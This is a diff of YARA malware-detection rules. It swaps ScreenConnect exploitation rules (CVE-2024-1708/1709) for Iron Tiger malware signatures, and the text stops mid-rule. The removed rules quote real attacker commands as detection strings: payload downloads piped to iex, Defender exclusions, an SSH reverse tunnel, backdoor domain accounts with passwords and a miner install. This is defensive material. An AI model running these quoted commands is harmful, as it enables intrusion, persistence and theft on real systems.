-		logic_hash = "f6c7a3aa2ed98e754f9523c55eb035c7bc5f8aea96a6f86c729e9658d78710fb"
+		description = "This rule detects a dns tunnel tool used in Operation Iron Tiger"
+		author = "Cyber Safety Solutions, Trend Micro"
+		id = "7f24d3dd-4301-5b12-8262-4cc5f6578a4b"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "http://goo.gl/T5fSJC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irontiger_trendmicro.yar#L65-L84"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "84b7dec3a89fe309149c7a3141279755adafbf793521c7b9b4031827f1020d7d"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 
 	strings:
-		$s1 = " GET /SetupWizard.aspx/" ascii
-		$s2 = " POST /SetupWizard.aspx/" ascii
-		$s3 = " PUT /SetupWizard.aspx/" ascii
-		$s4 = " HEAD /SetupWizard.aspx/" ascii
+		$str1 = "\\DnsTunClient\\" wide ascii
+		$str2 = "\\t-DNSTunnel\\" wide ascii
+		$str3 = "xssok.blogspot" wide ascii
+		$str4 = "dnstunclient" wide ascii
+		$mistake1 = "because of error, can not analysis" wide ascii
+		$mistake2 = "can not deal witn the error" wide ascii
+		$mistake3 = "the other retun one RST" wide ascii
+		$mistake4 = "Coversation produce one error" wide ascii
+		$mistake5 = "Program try to use the have deleted the buffer" wide ascii
 
 	condition:
-		1 of them
+		( uint16(0)==0x5a4d) and (( any of ($str*)) or ( any of ($mistake*)))
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_Screenconnect_User_Poc_Com_Unused_Feb24 : FILE
+rule SIGNATURE_BASE_Irontiger_EFH3_Encoder : FILE
 {
 	meta:
-		description = "Detects suspicious ScreenConnect user with poc.com email address, which is a sign of exploitation of the ConnectWise ScreenConnect (versions prior to 23.9.8) vulnerability with the POC released by WatchTower and the account wasn't actually used yet to login"
-		author = "Florian Roth"
-		id = "c57e6c6a-298f-5ff3-b76a-03127ff88699"
-		date = "2024-02-23"
-		modified = "2024-04-24"
-		reference = "https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc/blob/45e5b2f699a4d8f2d59ec3fc79a2e3c99db71882/watchtowr-vs-ConnectWise_2024-02-21.py#L53"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L20-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2433ad11ca1d9f970eb3c536a13f07e808c2a0b8b0dd625dffbe4947268ab8f5"
-		score = 65
+		description = "Iron Tiger EFH3 Encoder"
+		author = "Cyber Safety Solutions, Trend Micro"
+		id = "ec30782e-8fe9-5843-9db4-5a3c477b7f25"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "http://goo.gl/T5fSJC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irontiger_trendmicro.yar#L86-L99"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e620222f815a6c915e372c11d28c480179fd2abdb139ed6984ca5a7a61b8088c"
+		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$a1 = "<Users xmlns:xsi="
-		$a2 = "<CreationDate>"
-		$s1 = "@poc.com</Email>"
-		$s2 = "<LastLoginDate>0001"
+		$str1 = "EFH3 [HEX] [SRCFILE] [DSTFILE]" wide ascii
+		$str2 = "123.EXE 123.EFH" wide ascii
+		$str3 = "ENCODER: b[i]: = " wide ascii
 
 	condition:
-		filesize <200KB and all of ($a*) and all of ($s*)
+		uint16(0)==0x5a4d and ( any of ($str*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_Screenconnect_User_Poc_Com_Used_Feb24 : FILE
+rule SIGNATURE_BASE_Irontiger_Getpassword_X64 : FILE
 {
 	meta:
-		description = "Detects suspicious ScreenConnect user with poc.com email address, which is a sign of exploitation of the ConnectWise ScreenConnect (versions prior to 23.9.8) vulnerability with the POC released by WatchTower and the account was already used yet to login"
-		author = "Florian Roth"
-		id = "91990558-f145-5968-9722-b6815f6ad8d5"
-		date = "2024-02-23"
-		modified = "2024-04-24"
-		reference = "https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc/blob/45e5b2f699a4d8f2d59ec3fc79a2e3c99db71882/watchtowr-vs-ConnectWise_2024-02-21.py#L53"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L40-L60"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "50967a07a9789f20ccbc882c3b9e3142f0c28068c0a58b9d8927d725d02bf289"
+		description = "Iron Tiger Malware - GetPassword x64"
+		author = "Cyber Safety Solutions, Trend Micro"
+		id = "8f55b23f-52fd-5106-9112-6cffa97269ab"
+		date = "2023-01-06"
+		modified = "2023-12-05"
+		reference = "http://goo.gl/T5fSJC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irontiger_trendmicro.yar#L101-L119"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2adabc629fcd4bc89a015874376daf51b2a367bb13ec25e917e5d899080d8a74"
 		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$a1 = "<Users xmlns:xsi="
-		$a2 = "<CreationDate>"
-		$s1 = "@poc.com</Email>"
-		$f1 = "<LastLoginDate>0001"
+		$str1 = "(LUID ERROR)" wide ascii
+		$str2 = "Users\\K8team\\Desktop\\GetPassword" wide ascii
+		$str3 = "Debug x64\\GetPassword.pdb" ascii
+		$bla1 = "Authentication Package:" wide ascii
+		$bla2 = "Authentication Domain:" wide ascii
+		$bla3 = "* Password:" wide ascii
+		$bla4 = "Primary User:" wide ascii
 
 	condition:
-		filesize <200KB and all of ($a*) and $s1 and not 1 of ($f*)
+		uint16(0)==0x5a4d and (( any of ($str*)) or ( all of ($bla*)))
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_Screenconnect_Exploitation_Artefacts_Feb24 : SCRIPT
+rule SIGNATURE_BASE_Irontiger_Gtalk_Trojan : FILE
 {
 	meta:
-		description = "Detects post exploitation indicators observed by HuntressLabs in relation to the ConnectWise ScreenConnect (versions prior to 23.9.8) vulnerability that allows an Authentication Bypass"
-		author = "Florian Roth"
-		id = "079f4153-8bc7-574f-b6fa-af5536b842ab"
-		date = "2024-02-23"
-		modified = "2024-04-24"
-		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L62-L103"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6f0d5f878847da1afb0d7b83e84bd337cfa67c36da2cbb33af712ed4ffad490a"
+		description = "Iron Tiger Malware - GTalk Trojan"
+		author = "Cyber Safety Solutions, Trend Micro"
+		id = "3d72660b-c470-5e63-a83d-990d3c5a696c"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "http://goo.gl/T5fSJC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irontiger_trendmicro.yar#L121-L135"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9b6139d34ad91db2e418668be9ca947442ff614a241f0c1aa61f8334af5421c0"
 		score = 75
-		quality = 83
-		tags = "SCRIPT"
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$x01 = "-c foreach ($disk in Get-WmiObject Win32_Logicaldisk){Add-MpPreference -ExclusionPath $disk.deviceid}"
-		$x02 = ".msi c:\\mpyutd.msi"
-		$x03 = "/MyUserName_$env:UserName"
-		$x04 = " -OutFile C:\\Windows\\Help\\"
-		$x05 = "/Create /TN \\\\Microsoft\\\\Windows\\\\Wininet\\\\UserCache_"
-		$x06 = "$e = $r + \"ssh.exe\""
-		$x07 = "Start-Process -f $e -a $args -PassThru -WindowStyle Hidden).Id"
-		$x08 = "-R 9595:localhost:3389 -p 443 -N -oStrictHostKeyChecking=no "
-		$x09 = "chromeremotedesktophost.msi', $env:ProgramData+"
-		$x10 = "9595; iwr -UseBasicParsing "
-		$x11 = "curl  https://cmctt.]com/pub/media/wysiwyg/"
-		$x12 = ":8080/servicetest2.dll"
-		$x13 = "/msappdata.msi c:\\mpyutd.msi"
-		$x14 = "/svchost.exe -OutFile "
-		$x15 = "curl http://minish.wiki.gd"
-		$x16 = " -Headers @{'ngrok-skip-browser-warning'='true'} -OutFile "
-		$x17 = "rundll32.exe' -Headers @"
-		$x18 = "/nssm.exe' -Headers @"
-		$x19 = "c:\\programdata\\update.dat UpdateSystem"
-		$x20 = "::size -eq 4){\\\"TVqQAA" ascii wide
-		$x21 = "::size -eq 4){\"TVqQAA" ascii wide
-		$x22 = "-nop -c [System.Reflection.Assembly]::Load(([WmiClass]'root\\cimv2:System_"
-		$xp0 = "/add default test@2021! /domain"
-		$xp1 = "/add default1 test@2021! /domain"
-		$xp2 = "oldadmin Pass8080!!"
-		$xp3 = "temp 123123qwE /add "
-		$xp4 = "oldadmin \"Pass8080!!\""
-		$xp5 = "nssm set xmrig AppDirectory "
+		$str1 = "gtalklite.com" wide ascii
+		$str2 = "computer=%s&lanip=%s&uid=%s&os=%s&data=%s" wide ascii
+		$str3 = "D13idmAdm" wide ascii
+		$str4 = "Error: PeekNamedPipe failed with %i" wide ascii
 
 	condition:
-		1 of ($x*)
+		uint16(0)==0x5a4d and (2 of ($str*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_Command_Line_Combos_Feb24_2 : SCRIPT FILE
+rule SIGNATURE_BASE_Irontiger_HTTP_SOCKS_Proxy_Soexe : FILE
 {
 	meta:
-		description = "Detects suspicious command line combinations often found in post exploitation activities"
-		author = "Florian Roth"
-		id = "d9bc6083-c3ca-5639-a9df-483fea6d0187"
-		date = "2024-02-23"
-		modified = "2024-04-24"
-		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L105-L118"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0cd7b4771aa8fd622e873c5cdc6689d24394e5faf026b36d5f228ac09f4e0441"
+		description = "Iron Tiger Toolset - HTTP SOCKS Proxy soexe"
+		author = "Cyber Safety Solutions, Trend Micro"
+		id = "6ead3d61-c1e3-55d1-894e-ab57bcd09cde"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "http://goo.gl/T5fSJC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irontiger_trendmicro.yar#L137-L152"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f262751727de3d47a8d7cdc1f8ba8d92f4f60e22bc4e897bd5e53a8f2c118c95"
 		score = 75
 		quality = 85
-		tags = "SCRIPT, FILE"
+		tags = "FILE"
 
 	strings:
-		$sa1 = " | iex"
-		$sa2 = "iwr -UseBasicParsing "
+		$str1 = "listen SOCKET error." wide ascii
+		$str2 = "WSAAsyncSelect SOCKET error." wide ascii
+		$str3 = "new SOCKETINFO error!" wide ascii
+		$str4 = "Http/1.1 403 Forbidden" wide ascii
+		$str5 = "Create SOCKET error." wide ascii
 
 	condition:
-		filesize <2MB and all of them
+		uint16(0)==0x5a4d and (3 of ($str*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_PS1_Combo_Transfersh_Feb24 : SCRIPT
+rule SIGNATURE_BASE_Irontiger_Nbddos_Gh0Stvariant_Dropper : FILE
 {
 	meta:
-		description = "Detects suspicious PowerShell command that downloads content from transfer.sh as often found in loaders"
-		author = "Florian Roth"
-		id = "fd14cca5-9cf8-540b-9d6e-39ca2c267272"
-		date = "2024-02-23"
-		modified = "2024-04-24"
-		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L120-L135"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "64d4343ecdcbc4a28571557bec2f31c1ff73c2ecf63d0feaa0a71001bb9bf499"
-		score = 70
+		description = "Iron Tiger Malware - NBDDos Gh0stvariant Dropper"
+		author = "Cyber Safety Solutions, Trend Micro"
+		id = "3610b9e3-45f8-5a8d-8977-817160009818"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "http://goo.gl/T5fSJC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irontiger_trendmicro.yar#L154-L169"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e877c52d5cb0067388e9a138f48dcf7d3bd6d7d491eea6acffb2527ba0a906c7"
+		score = 75
 		quality = 85
-		tags = "SCRIPT"
+		tags = "FILE"
 
 	strings:
-		$x1 = ".DownloadString('https://transfer.sh"
-		$x2 = ".DownloadString(\"https://transfer.sh"
-		$x3 = "Invoke-WebRequest -Uri 'https://transfer.sh"
-		$x4 = "Invoke-WebRequest -Uri \"https://transfer.sh"
+		$str1 = "This service can't be stoped." wide ascii
+		$str2 = "Provides support for media palyer" wide ascii
+		$str4 = "CreaetProcess Error" wide ascii
+		$bla1 = "Kill You" wide ascii
+		$bla2 = "%4.2f GB" wide ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and (( any of ($str*)) or ( all of ($bla*)))
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_SUSP_RANSOM_Lockbit_Ransomnote_Feb24
+rule SIGNATURE_BASE_Irontiger_Plugx_Dosemulator : FILE
 {
 	meta:
-		description = "Detects the LockBit ransom note file 'LockBit-DECRYPT.txt' which is a sign of a LockBit ransomware infection"
-		author = "Florian Roth"
-		id = "b2fcb2a7-49e8-520c-944f-6acd5ded579b"
-		date = "2024-02-23"
-		modified = "2024-04-24"
-		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L137-L149"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1fe07c33de1971b1f9430851dec4b8cd9f3ac7f087f0de18a2da4a390891b674"
+		description = "Iron Tiger Malware - PlugX DosEmulator"
+		author = "Cyber Safety Solutions, Trend Micro - modified by Florian Roth"
+		id = "e601d91d-49e6-5fe9-b70b-fb1fb6c4f059"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "http://goo.gl/T5fSJC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irontiger_trendmicro.yar#L171-L185"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "502adc142b0f7a2980b4b851f2360086cec855b5e9851a6e9afbaba1846d11ed"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 
 	strings:
-		$x1 = ">>>> Your personal DECRYPTION ID:"
+		$str1 = "Dos Emluator Ver" wide ascii
+		$str2 = "\\PIPE\\FASTDOS" wide ascii
+		$str3 = "FastDos.cpp" wide ascii
+		$str4 = "fail,error code = %d." wide ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and 2 of ($str*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_SUSP_RANSOM_Lazy_Ransomnote_Feb24
+rule SIGNATURE_BASE_Irontiger_Plugx_Fastproxy : FILE
 {
 	meta:
-		description = "Detects the Lazy ransom note file 'HowToRestoreYourFiles.txt' which is a sign of a Lazy ransomware infection"
-		author = "Florian Roth"
-		id = "287dfd67-8d0d-5906-b593-3af42a5a3aa4"
-		date = "2024-02-23"
-		modified = "2024-04-24"
-		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L151-L163"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c9416d05f0bd9aab9d6108380c1b5364f4c4e112b6e0726202f083eaacfdcf56"
+		description = "Iron Tiger Malware - PlugX FastProxy"
+		author = "Cyber Safety Solutions, Trend Micro"
+		id = "14e05823-6288-5f02-8060-add51084c446"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "http://goo.gl/T5fSJC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irontiger_trendmicro.yar#L187-L203"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6659595f65b445d2bd69b13b8d01c2dd78b5c055fa39f810a61646d9408df2ff"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 
 	strings:
-		$x1 = "All Encrypted files can be reversed to original form and become usable"
+		$str1 = "SAFEPROXY HTServerTimer Quit!" wide ascii
+		$str2 = "Useage: %s pid" wide ascii
+		$str3 = "%s PORT[%d] TO PORT[%d] SUCCESS!" wide ascii
+		$str4 = "p0: port for listener" wide ascii
+		$str5 = "\\users\\whg\\desktop\\plug\\" wide ascii
+		$str6 = "[+Y] cwnd : %3d, fligth:" wide ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and ( any of ($str*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_MAL_Signingcert_Feb24_1 : CVE_2024_1708 CVE_2024_1709 FILE
+rule SIGNATURE_BASE_Irontiger_Plugx_Server : FILE
 {
 	meta:
-		description = "Detects PE files signed with a certificate used to sign malware samples mentioned in a HuntressLabs report on the exploitation of ScreenConnect vulnerability CVE-2024-1708 and CVE-2024-1709"
-		author = "Florian Roth"
-		id = "f25ea77a-1b4e-5c13-9117-eedf0c20335a"
-		date = "2024-02-23"
-		modified = "2024-04-24"
-		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L166-L184"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "824efe1fa441322d891805df9a1637ebb44d18889572604acc125bf79a2d1083"
+		description = "Iron Tiger Malware - PlugX Server"
+		author = "Cyber Safety Solutions, Trend Micro"
+		id = "38011a23-3ed7-5f58-a814-2551526b27f3"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "http://goo.gl/T5fSJC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irontiger_trendmicro.yar#L205-L225"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "14b3f3b75cf6d042934e6916c99fe41d54065d59be6eb30b3cecc799997ac9d4"
 		score = 75
 		quality = 85
-		tags = "CVE-2024-1708, CVE-2024-1709, FILE"
-		hash1 = "37a39fc1feb4b14354c4d4b279ba77ba51e0d413f88e6ab991aad5dd6a9c231b"
-		hash2 = "e8c48250cf7293c95d9af1fb830bb8a5aaf9cfb192d8697d2da729867935c793"
+		tags = "FILE"
 
 	strings:
-		$s1 = "Wisdom Promise Security Technology Co." ascii
-		$s2 = "Globalsign TSA for CodeSign1" ascii
-		$s3 = { 5D AC 0B 6C 02 5A 4B 21 89 4B A3 C2 }
+		$str1 = "\\UnitFrmManagerKeyLog.pas" wide ascii
+		$str2 = "\\UnitFrmManagerRegister.pas" wide ascii
+		$str3 = "Input Name..." wide ascii
+		$str4 = "New Value#" wide ascii
+		$str5 = "TThreadRControl.Execute SEH!!!" wide ascii
+		$str6 = "\\UnitFrmRControl.pas" wide ascii
+		$str7 = "OnSocket(event is error)!" wide ascii
+		$str8 = "Make 3F Version Ok!!!" wide ascii
+		$str9 = "PELEASE DO NOT CHANGE THE DOCAMENT" wide ascii
+		$str10 = "Press [Ok] Continue Run, Press [Cancel] Exit" wide ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <70000KB and all of them
+		uint16(0)==0x5a4d and (2 of ($str*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_CS_Loader_Feb24_1 : CVE_2024_1708 CVE_2024_1709 FILE
+rule SIGNATURE_BASE_Irontiger_Readpwd86 : FILE
 {
 	meta:
-		description = "Detects Cobalt Strike malware samples mentioned in a HuntressLabs report on the exploitation of ScreenConnect vulnerability CVE-2024-1708 and CVE-2024-1709"
-		author = "Florian Roth"
-		id = "6c9914a4-b079-5a39-9d3b-7b9a2b54dc2b"
-		date = "2024-02-23"
-		modified = "2024-04-24"
-		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L186-L206"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ae0e25c2dda1b727978977c674e834cd659661c597d88395a6f46ad5a179e9f0"
+		description = "Iron Tiger Malware - ReadPWD86"
+		author = "Cyber Safety Solutions, Trend Micro"
+		id = "5db832be-4b8e-536f-8db7-a215a90284e2"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "http://goo.gl/T5fSJC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irontiger_trendmicro.yar#L227-L240"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c188b033aee6b7e811c125af545aa7851cd45ba02e057ee93967fa98d1c13947"
 		score = 75
 		quality = 85
-		tags = "CVE-2024-1708, CVE-2024-1709, FILE"
-		hash1 = "0a492d89ea2c05b1724a58dd05b7c4751e1ffdd2eab3a2f6a7ebe65bf3fdd6fe"
+		tags = "FILE"
 
 	strings:
-		$s1 = "Dll_x86.dll" ascii fullword
+		$str1 = "Fail To Load LSASRV" wide ascii
+		$str2 = "Fail To Search LSASS Data" wide ascii
+		$str3 = "User Principal" wide ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and (pe.exports("UpdateSystem") and (pe.imphash()=="0dc05c4c21a86d29f1c3bf9cc5b712e0" or $s1))
+		uint16(0)==0x5a4d and ( all of ($str*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_RANSOM_Lockbit_Indicators_Feb24 : CVE_2024_1708 CVE_2024_1709 FILE
+rule SIGNATURE_BASE_Irontiger_Ring_Gh0Stvariant : FILE
 {
 	meta:
-		description = "Detects Lockbit ransomware samples mentioned in a HuntressLabs report on the exploitation of ScreenConnect vulnerability CVE-2024-1708 and CVE-2024-1709"
-		author = "Florian Roth"
-		id = "108430c8-4fe5-58a1-b709-539b257c120c"
-		date = "2024-02-23"
-		modified = "2024-04-24"
-		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L208-L228"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e4cd6b1a1bc57bf25c71f6bc228f45e4a996f9d9d391aeb3dda9c7d7857610bc"
+		description = "Iron Tiger Malware - Ring Gh0stvariant"
+		author = "Cyber Safety Solutions, Trend Micro"
+		id = "6858550a-4000-581c-b270-370db8ed1c57"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "http://goo.gl/T5fSJC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irontiger_trendmicro.yar#L242-L257"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6df729e3b472d3930f5bc4a1b5b8736567df43b78bec3401f5d41bf7ba30d93b"
 		score = 75
 		quality = 85
-		tags = "CVE-2024-1708, CVE-2024-1709, FILE"
-		hash1 = "a50d9954c0a50e5804065a8165b18571048160200249766bfa2f75d03c8cb6d0"
+		tags = "FILE"
 
 	strings:
-		$op1 = { 76 c1 95 8b 18 00 93 56 bf 2b 88 71 4c 34 af b1 a5 e9 77 46 c3 13 }
-		$op2 = { e0 02 10 f7 ac 75 0e 18 1b c2 c1 98 ac 46 }
-		$op3 = { 8b c6 ab 53 ff 15 e4 57 42 00 ff 45 fc eb 92 ff 75 f8 ff 15 f4 57 42 00 }
+		$str1 = "RING RAT Exception" wide ascii
+		$str2 = "(can not update server recently)!" wide ascii
+		$str4 = "CreaetProcess Error" wide ascii
+		$bla1 = "Sucess!" wide ascii
+		$bla2 = "user canceled!" wide ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and (pe.imphash()=="914685b69f2ac2ff61b6b0f1883a054d" or 2 of them ) or all of them
+		uint16(0)==0x5a4d and (( any of ($str*)) or ( all of ($bla*)))
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_MSI_Mpyutils_Feb24_1 : CVE_2024_1708 CVE_2024_1709 FILE
+rule SIGNATURE_BASE_Irontiger_Wmiexec
 {
 	meta:
-		description = "Detects malicious MSI package mentioned in a HuntressLabs report on the exploitation of ScreenConnect vulnerability CVE-2024-1708 and CVE-2024-1709"
-		author = "Florian Roth"
-		id = "e7794336-a325-5b92-8c25-81ed9cb28044"
-		date = "2024-02-23"
-		modified = "2024-04-24"
-		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L230-L247"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ba20db486e5d3c29c9702e10628fb3c0e55e52bbec74e3a86ed6511a6475b82f"
-		score = 70
+		description = "Iron Tiger Tool - wmi.vbs detection"
+		author = "Cyber Safety Solutions, Trend Micro"
+		id = "a3060f50-3594-5da9-98e2-6fa0087451f5"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "http://goo.gl/T5fSJC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irontiger_trendmicro.yar#L259-L276"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7988b993345e13b64e5f02ecd2679fc484b063a4cd2f18b52d00d2dfa34d82cb"
+		score = 75
 		quality = 85
-		tags = "CVE-2024-1708, CVE-2024-1709, FILE"
-		hash1 = "8e51de4774d27ad31a83d5df060ba008148665ab9caf6bc889a5e3fba4d7e600"
+		tags = ""
 
 	strings:
-		$s1 = "crypt64ult.exe" ascii fullword
-		$s2 = "EXPAND.EXE" wide fullword
-		$s6 = "ICACLS.EXE" wide fullword
+		$str1 = "Temp Result File , Change it to where you like" wide ascii
